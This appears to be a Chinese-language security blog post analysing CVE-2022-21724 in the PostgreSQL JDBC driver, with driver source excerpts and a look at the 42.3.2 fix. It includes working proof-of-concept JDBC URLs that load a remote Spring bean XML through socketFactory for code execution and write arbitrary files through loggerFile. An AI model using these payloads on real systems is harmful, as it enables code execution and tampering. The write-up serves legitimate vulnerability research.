前言
无。
漏洞影响
9.4.1208 <= PgJDBC < 42.2.25
42.3.0 <= PgJDBC < 42.3.2
环境搭建
maven依赖:
1 2 3 4 5
| <dependency> <groupId>org.postgresql</groupId> <artifactId>postgresql</artifactId> <version>42.3.1</version> </dependency>
|
漏洞分析
参考文章使用的测试用漏洞代码:
1 2 3 4
| String socketFactoryClass = "org.springframework.context.support.ClassPathXmlApplicationContext"; String socketFactoryArg = "http://127.0.0.1:8080/bean.xml"; String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test/?socketFactory=" + socketFactoryClass + "&socketFactoryArg=" + socketFactoryArg; DriverManager.getConnection(jdbcUrl);
|
感觉跟之前的很像JXPath漏洞的利用方式,应该是数据库连接过程中会有指定对象实例化的过程。
运行一下就可以看到找不到类的报错,定位到SocketFactoryFactory类的getSocketFactory函数:
1 2 3 4 5 6 7 8 9 10
| String socketFactoryClassName = PGProperty.SOCKET_FACTORY.get(info); if (socketFactoryClassName == null) { return SocketFactory.getDefault(); } try { return (SocketFactory) ObjectFactory.instantiate(socketFactoryClassName, info, true, PGProperty.SOCKET_FACTORY_ARG.get(info)); } catch (Exception e) { ... }
|
调用ObjectFactory.instantiate函数实例化了输入的jdbc url中配置的工厂类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| @Nullable Object[] args = {info}; Constructor<?> ctor = null; Class<?> cls = Class.forName(classname); try { ctor = cls.getConstructor(Properties.class); } catch (NoSuchMethodException ignored) { } if (tryString && ctor == null) { try { ctor = cls.getConstructor(String.class); args = new String[]{stringarg}; } catch (NoSuchMethodException ignored) { } } if (ctor == null) { ctor = cls.getConstructor(); args = new Object[0]; } return ctor.newInstance(args);
|
可以看到,这里在寻找构造函数的时候存在参数要求:
参数为Properties
或者参数为String
或者无参
可利用的也没多少了。
漏洞利用
函数调用1
加上spring-context-support依赖,开启tomcat,xml就用JXPath同款就行,漏洞正常触发。
函数调用2
参数改成sslfactory和sslfactoryarg,看起来需要一个数据库服务端。
文件写
参数改成loggerLevel和loggerFile:
1 2 3 4 5
| String loggerLevel = "debug"; String loggerFile = "test.txt"; String shellContent = "test"; String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test?loggerLevel=" + loggerLevel + "&loggerFile=" + loggerFile+ "&" + shellContent; DriverManager.getConnection(jdbcUrl);
|
Postgres数据库引擎在解析完URL后建立连接前会调用setupLoggerFromProperties函数,其中会打开日志文件:
1 2 3 4 5 6 7 8 9 10 11
| final String driverLogFile = PGProperty.LOGGER_FILE.get(exprProps); ... java.util.logging.Handler handler = null; if (driverLogFile != null) { try { handler = new java.util.logging.FileHandler(driverLogFile); loggerHandlerFile = driverLogFile; } catch (Exception ex) { ... } }
|
没有目录校验,但是日志内容比较复杂,包括jdbc url,函数调用栈和异常等等。
漏洞修复
猜测修复方式是限制工厂类的类型,将postgresql依赖换成42.3.2版本的,会发现报错:
1
| 警告: JDBC URL contains too many / characters
|
找到org.postgresql.Driver类的parseURL函数,可以看到其对/出现的次数做了限制:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| if (!urlServer.equals("//") && !urlServer.equals("///")) { if (urlServer.startsWith("//")) { urlServer = urlServer.substring(2); long slashCount = urlServer.chars().filter((ch) -> { return ch == 47; }).count(); if (slashCount > 1L) { LOGGER.log(Level.WARNING, "JDBC URL contains too many / characters: {0}", url); return null; } ... } ... }
|
除去开头的//外只能出现一次/,而端口和数据库名之间肯定要有一个/,所以参数里是肯定不能有/了,想从外面加载xml也就行不通了。
此时阅读代码可以发现,如果jdbc url的引擎后没有//,就会进入另一个代码块,那里面没有对/的次数限制,但是到了getSocketFactory调用构造函数时:
1 2
| return (SocketFactory)ObjectFactory.instantiate(SocketFactory.class, socketFactoryClassName, info, true, PGProperty.SOCKET_FACTORY_ARG.get(info));
|
多了一个SocketFactory.class的输入参数,后续加载类时:
1
| Class cls = Class.forName(classname).asSubclass(expectedClass);
|
要求工厂类要是SocketFactory的子类,基本上已经修好了。
参考
PostgresQL JDBC Drive 任意代码执行漏洞(CVE-2022-21724)